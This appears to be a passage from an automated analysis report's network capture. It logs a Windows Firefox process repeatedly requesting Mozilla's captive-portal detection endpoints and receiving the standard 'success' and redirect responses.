Oct 21, 2024 10:46:40.293553114 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:40.419625998 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71537 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:46:50.428656101 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 21, 2024 10:46:52.440682888 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:52.748965979 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:53.116853952 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71550 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:46:53.414218903 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:53.540116072 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71550 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:46:56.809902906 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:56.935342073 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71553 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:46:57.548197031 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:57.673924923 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71554 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:46:58.170274973 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:58.295963049 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:02.776094913 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:02.901918888 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71559 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:02.927817106 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:03.054073095 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71559 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:03.080861092 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:03.206705093 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71560 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:03.559062958 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:03.684724092 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71560 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:03.707007885 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:03.832833052 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71560 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:06.584865093 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:06.710750103 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71563 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:08.927584887 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:09.053278923 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71565 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:19.062128067 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 21, 2024 10:47:29.083034992 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 21, 2024 10:47:29.658195972 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:29.783962011 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71586 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:33.193008900 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:47:33.318667889 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71590 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:47:43.334461927 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 21, 2024 10:47:53.365904093 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49766	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:46:38.502384901 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:39.090281010 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64859 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:46:39.762275934 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:40.122670889 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64860 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:46:48.798255920 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:49.114749908 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64869 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:46:52.442012072 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:52.849246025 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:53.114212990 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64873 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:46:55.778327942 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:55.901544094 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64875 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:46:57.421380997 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:57.544087887 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64877 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:46:58.044328928 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:58.167494059 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64878 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:02.649207115 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:02.772408009 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64882 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:02.802025080 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:02.925218105 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64882 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:02.955427885 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:03.078639984 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64883 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:03.432445049 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:03.556003094 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64883 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:03.581283092 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:03.704906940 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64883 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:06.455960989 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:06.579123020 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64886 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:08.802155018 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:08.924777985 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64888 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:18.930527925 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 21, 2024 10:47:28.941766977 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 21, 2024 10:47:29.518337011 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
